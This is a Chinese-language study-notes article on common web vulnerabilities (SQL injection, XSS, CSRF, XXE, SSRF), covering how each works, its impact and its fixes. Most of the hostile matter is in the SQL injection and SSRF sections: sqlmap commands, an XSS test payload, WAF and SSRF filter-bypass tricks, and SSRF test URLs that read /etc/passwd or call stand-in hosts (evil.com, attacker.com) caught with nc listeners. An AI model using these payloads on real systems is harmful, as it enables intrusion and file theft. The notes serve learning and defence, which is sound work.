常见漏洞原理及修复方案

文章目录

  • 前言
  • sql注入
    • sql注入原理
    • sql注入危害
    • sql注入防范
    • sql绕过手法及常见注入手法
    • sqlmap常见使用方法
  • xss
    • xss原理
    • XSS漏洞危害
    • XSS漏洞分类
    • XSS漏洞测试
    • xss防范
  • csrf漏洞
    • csrf漏洞原理
    • csrf漏洞流程图
    • csrf漏洞利用条件
    • csrf验证
    • csrf漏洞分类
    • csrf漏洞危害
    • csrf漏洞防范
  • XXE漏洞
    • XXE漏洞原理
    • XXE漏洞危害
    • XXE漏洞详情
  • ssrf漏洞
    • ssrf漏洞原理
    • ssrf流程图
    • 经典服务端请求
    • 产生SSRF漏洞的函数和URL的伪协议
    • ssrf漏洞绕过
    • ssrf漏网危害
    • SSRF漏洞防御
  • 总结
  • 参考资料


前言

这里介绍一下常见的漏洞及其知识。

sql注入

sql注入原理

原理:所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 造成SQL注入漏洞原因有两个:一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。

sql注入危害

1.数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
2.网页篡改:通过操作数据库对特定网页进行篡改。
3.网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
4.数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
5.服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
6.破坏硬盘数据,瘫痪全系统。

sql注入防范

解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常修复使用的方案有:

对输入进行严格的转义和过滤
使用参数化(Parameterized):目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

预编译:预编译:用占位符替代参数值,预先建立语法树。恶意语句不参与语法树的建立,所以不影响SQL语法,也就无法造成恶意注入。最初的目的是提高代码的复用性,因为有很多只有参数值不同的SQL(完全相同的SQL会从缓存里查)(预编译分为java和c,#include和#define就是与预编译头文件,Java为PreparedStatement(定义sql语句的参数)函数)

// SQL语句中的参数值,使用?占位符替代
String sql = “select * from user where username = ? and password = ?”;
// 通过Connection对象获取,并传入对应的sql语句
PreparedStatement pstmt = conn.prepareStatement(sql);

sql绕过手法及常见注入手法

绕过waf手法:空格字符绕过,大小写绕过,内联注释绕过,双写绕过。
常见注入方式:
联合查询:最常见的sql注入手法‘order by’,union
报错注入extractvalue(),updatexml() 语句
布尔盲注
1.使用 **length()**函数 判断查询结果的长度
2.使用 **substr()函数 截取每一个字符,并穷举出字符内容
延时注入(时间盲注):运用
sleep(5)**函数,使用" and sleep(5) – qwe,发现页面延时5s后刷新,说明可以进行延时注入,if(1,sleep(2),sleep(0)),如果if中1为正确返回第二个值,错误返回第三个值,从页面刷新时间判定正确错误,两个时间差距要大一点,可能会因为网络问题导致判断出错。最后和布尔盲注一样进行字符猜解。

sqlmap常见使用方法

检测位置

-u – 指定url(GET请求)
-p – 指定参数(url包含多个参数时,指定参数)
–data= – 指定POST请求参数
–cookie – 指定cookie参数
-r – 从文件中加载HTTP请求(在需要检测的Header后面加上*)

获取数据

–dbs – 获取数据库名
–tables – 获取表名
–columns – 获取字段名
–dump – 获取数据
-D – 指定数据库
-T – 指定表
-C – 指定字段

GET请求注入:

sqlmap -u http://127.0.0.1/sqli/Less-1/?id=1

POST请求注入

sqlmap -u http://127.0.0.1/sqli/Less-11/ --data=“uname=lisi”

COOKIE注入:

sqlmap -u xxx/index.php --cookie “uname=admin” --level 2 --dbs

HTTP请求头注入:

sqlmap -r target.vm --level 3 --dbs

xss

xss原理

XSS被称为跨站脚本攻击。主要基于JavaScript语言进行恶意攻击,因为js非常灵活操作html、css、浏览器。

XSS漏洞危害

恶意用户利用xss代码攻击成功后,可能会得到很高的权限,XSS漏洞主要有以下危害:
(1)盗取各种用户账号;
(2)窃取用户Cookie资料,冒充用户身份进入网站;
(3)劫持用户会话,执行任意操作;是指操作用户浏览器;
(4)刷流量,执行弹窗广告;
(5)传播蠕虫病毒。

XSS漏洞分类

XSS漏洞大概可以分为三个类型:
反射型XSS:定义:反射型XSS是非持久性、参数型跨站脚本。反射型XSS的JS代码在web应用的参数(变量)中,如搜索框的反射型XSS。
存储型XSS:存储型XSS是持久性跨站脚本,持久性体现在xss代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS通常发生在留言板等地方,我们在留言板位置留言,将恶意代码写进数据库中。
DOM型XSS:DOM型XSS比较特殊。owasp关于DOM型XSS的定义是基于DOM的XSS是一种XSS攻击,其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的。其特殊的地方就是payload在浏览器本地修改DOM树而执行,并不会传到服务器上,这也就使得DOM型XSS比较难以检测。

XSS漏洞测试

// An highlighted block
><script>alert(2222)</script> 输入该代码进行测试

xss防范

1.检查用户输入的数据中是否包含一些特殊字符,如<、>、’、“等,发现存在特殊字符,将这些特殊字符过滤或者编码。
例如:<转化为&It(实体编码)
2.字符串js编码转换成实体html编码的方法
3.在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。
实体编码:
下面展示一些 内联代码片

// An highlighted block
<>&、’、”在xml中是特殊符号,需要用实体表示
<	&lt;
>	&gt;
&	&amp;&apos;&quot;

csrf漏洞

csrf漏洞原理

CSRF(Cross-site Request Forgery,跨站请求伪造)是一种针对网站的恶意利用。

CSRF攻击可以利用用户已经登陆或已经授权的状态,伪造合法用户发出请求给受信任的网点,从而实现在未授权的情况下执行一些特权操作。

csrf漏洞流程图

在这里插入图片描述

csrf漏洞利用条件

1.用户成功登陆了网站系统,能执行授权的功能

2.目标用户访问了攻击者构造的恶意URL

csrf验证

bp上有csrf自动生成恶意代码功能,复制该代码到新建文件中,后缀改为html,在登录的情况下去点击该文件运行,如果实现修改操作则代表存在csrf漏洞。

csrf漏洞分类

GET型和POST型。

csrf漏洞危害

发送钓鱼邮件、盗用用户账号、网银转账、使用他人账号购买商品等,具体的危害跟存在漏洞的具体业务系统有关。

csrf漏洞防范

增加二次验证机制
在敏感操作时候,不再直接通过某个请求执行,而是再次验证用户口令或者再次验证类似验证码等随机数。如:转账时,要求用户二次输入密码。

校验HTTP Referer字段
校验HTTP Referer字段可以保证相关敏感操作来自授权站点的跳转。在HTTP协议中,定义了一个访问来源的字段,即HTTP_REFERER。站点可以在后端校验Referer是否来自于正常的站内跳转。如果攻击者诱导用户点击跳转链接,则Referer就为攻击者的主机,与网站内部内部跳转情况下的Referer字段不同。

增加Token参数进行校验
在敏感操作的参数中,增加完全随机的Token参数进行校验。这是目前业内防止CSRF攻击最常用的方法。因为CSRF产生的根本原因是,进行敏感操作时用户每次发送的请求都完全相同。因此,攻击者就可以把这样的请求进行封装包裹,诱导用户点击链接并发出请求。而如果在进行敏感操作时,增加完全随机的Token参数,每次进行敏感操作时发送的请求都不完全相同,攻击者也就没有办法伪造出一个合法的敏感操作请求,也就无法实施CSRF攻击。

注:csrf具体可以观看https://blog.csdn.net/xcxhzjl/article/details/121411039

XXE漏洞

XXE漏洞原理

XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。而学习XXE要从认识XML开始。

XXE漏洞危害

信息泄露,命令执行,拒绝服务,SSRF,内网端口扫描以及其他系统影响。

XXE漏洞详情

由于XXE知识量太大,这篇文章只做为笔记使用,在这里给大家推荐一篇xxe漏洞写的很好的文章
https://blog.csdn.net/weixin_44420143/article/details/118721145

ssrf漏洞

ssrf漏洞原理

一、SSRF是什么?
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

ssrf流程图

在这里插入图片描述

经典服务端请求

有道词典开设了输入网址然后将网站的所有文字翻译的功能,这就相当于服务端请求伪造,只不过不能访问自身,因此没有危害。
在这里插入图片描述

产生SSRF漏洞的函数和URL的伪协议

函数file_get_contents:获取用户指定URL图片上传
sockopen():获取用户指定URL文件上传
curl_exec():cURL这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在“curled”文件夹下的磁盘中,并附加了一个随机数和“.txt”文件扩展名。
注意

一般情况下PHP不会开启fopen的gopher wrapper
file_get_contents的gopher协议不能URL编码
file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
curl_exec() 默认不跟踪跳转,
file_get_contents() file_get_contents支持php://input协议

伪协议
当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload

测试用例:
1、file
从文件系统中获取文件内容

http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

2、dict
这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:

http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0

3、sftp
在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2

4、ldap://或ldaps:// 或ldapi://
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

5、tftp://
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

6、gopher://
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest

ssrf漏洞绕过

1.限制为http://www.xxx.com 域名时(利用@)
如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。

2.采用短网址绕过
比如百度短地址https://dwz.cn/

3.采用进制转换
转为八或16进制

4.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1

5.利用[::]
可以利用[::]来绕过localhost
http://169.254.169.254>>http://[::169.254.169.254]

6.利用句号
127。0。0。1 >>> 127.0.0.1

7.CRLF 编码绕过
%0d->0x0d->\r回车
%0a->0x0a->\n换行
进行HTTP头部注入

ssrf漏网危害

1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;

2.攻击运行在内网或本地的应用程序(比如溢出);

3.对内网web应用进行指纹识别,通过访问默认文件实现;

4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);

5.利用file协议读取本地文件等。.

6.各个协议调用探针:http,file,dict,ftp,gopher等

SSRF漏洞防御

通常有以下5个思路:

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

总结

仅用于个人记录学习,需要的时候反复观看,巩固基础。

参考资料

xss:https://blog.csdn.net/qq_56775626/article/details/126056516
csrf:https://blog.csdn.net/qq_43378996/article/details/123910614
xxe:https://blog.csdn.net/weixin_44420143/article/details/118721145
ssrf:https://blog.csdn.net/qq_43378996/article/details/124050308

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/589812.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mysql 磁盘空间100%

MySQL大事务可能会导致过多的占用临时文件&#xff0c;导致磁盘空间撑满的问题 本例说明下binlog cache产生的临时文件 案例复现 调小binlog_cache_size&#xff0c;让DML使用临时文件 使用存储过程模拟大事务 创建表 create table t1( id int AUTO_INCREMENT, name varchar…

地表径流分布数据/水文站点分布/降雨量分布/辐射分布数据

引言 大气降水落到地面后&#xff0c;一部分蒸发变成水蒸气返回大气&#xff0c;一部分下渗到土壤成为地下水&#xff0c;其余的水沿着斜坡形成漫流&#xff0c;通过冲沟&#xff0c;溪涧&#xff0c;注入河流&#xff0c;汇入海洋。这种水流称为地表径流。 正文 数据简介 来自…

[力扣]根据前中序构造二叉树--详细解析

根据前中序遍历顺序构建一个二叉树 力扣练习链接 过程 总体框架 设preorder的左边界为pleft,右边界为pright[注意这里是闭区间能取到]同时设inorder的左边界为ileft,有边界为iright[同样也是可以取到的索引区间]我们生成每一个区间的树的头结点,然后向上返回,对于他的父亲结点…

非关系型数据库-----------Redis的主从复制、哨兵模式

目录 一、redis群集有三种模式 1.1主从复制、哨兵、集群的区别 1.1.1主从复制 1.1.2哨兵 1.1.3集群 二、主从复制 2.1主从复制概述 2.2主从复制的作用 ①数据冗余 ②故障恢复 ③负载均衡 ④高可用基石 2.3主从复制流程 2.4搭建redis主从复制 2.4.1环境准备 2.4…

mysql计划事件即定时任务的实现

目录 前言设置系统参数创建计划事件时间间隔举例 前言 在MySQL中&#xff0c;创建一个定时任务&#xff08;即“计划事件”&#xff09;通常涉及使用EVENT对象。有些时候使用mysql定时任务做一些批量处理是非常方便的&#xff0c;比如每天零晨记录头天的库存数据&#xff0c;发…

南京大学提出用于大模型生成的动态温度采样法,简单有效!

在自然语言处理&#xff08;NLP&#xff09;的领域&#xff0c;大语言模型&#xff08;LLMs&#xff09;已经在各种下游语言任务中展现出了卓越的性能。这些任务包括但不限于问答、摘要、机器翻译等。LLMs的强大能力在于其生成的文本质量和多样性。为了控制生成过程&#xff0c…

iptables 与 firewalld 防火墙

iptables iptables 是一款基于命令行的防火墙策略管理工具 四种防火墙策略&#xff1a; ACCEPT&#xff08;允许流量通过&#xff09; 流量发送方会看到响应超时的提醒&#xff0c;但是流量发送方无法判断流量是被拒绝&#xff0c;还是接收方主机当前不在线 REJECT&#xff08…

VMware创建Ubuntu虚拟机详细教程

下载ISO映像文件 进入官网下载&#xff1a;Download Ubuntu Desktop | Download | Ubuntu 下面是一些其他的下载路径&#xff1a; 中国官网 https://cn.ubuntu.com/ 中科大源 Index of /ubuntu-releases/ (ustc.edu.cn) 阿里云开源镜像站 ubuntu-releases安装包下载_开源镜像…

C语言——内存函数

引言 在之前的两篇文章中&#xff0c;我们学习了字符函数和字符串函数&#xff0c;C语言中还有一类库函数叫做内存函数 我们接下来去学习一下这类函数 内存函数 内存函数的功能和某些字符函数的功能相似&#xff0c;它们是通过访问地址的方式操作对象&#xff0c;可应用于任…

MySQL生产环境常见故障及解决方案汇总

MySQL生产环境常见故障及解决方案汇总 1. MySQL主从同步异常故障1.1. 情景说明1.2. 排查过程1.3. 数据同步2. MySQL慢查询故障1. MySQL主从同步异常故障 1.1. 情景说明 MySQL主库网卡需要更换IP地址,并将原IP地址配置为MySQL集群的VIP地址,上层应用程序其实不需要更改连接My…

docker版Elasticsearch安装,ik分词器安装,用户名密码配置,kibana安装

1、安装es和ik分词器 创建映射目录并赋予权限&#xff1a; mkdir -p /docker_data/elasticsearch/conf mkdir -p /docker_data/elasticsearch/data mkdir -p /docker_data/elasticsearch/plugins chmod -R 777 /docker_data/elasticsearch编写配置文件&#xff1a; vi /dock…

Spring拓展点之SmartLifecycle如何感知容器启动和关闭

Spring为我们提供了拓展点感知容器的启动与关闭&#xff0c;从而使我们可以在容器启动或者关闭之时进行定制的操作。Spring提供了Lifecycle上层接口&#xff0c;这个接口只有两个方法start和stop两个方法&#xff0c;但是这个接口并不是直接提供给开发者做拓展点&#xff0c;而…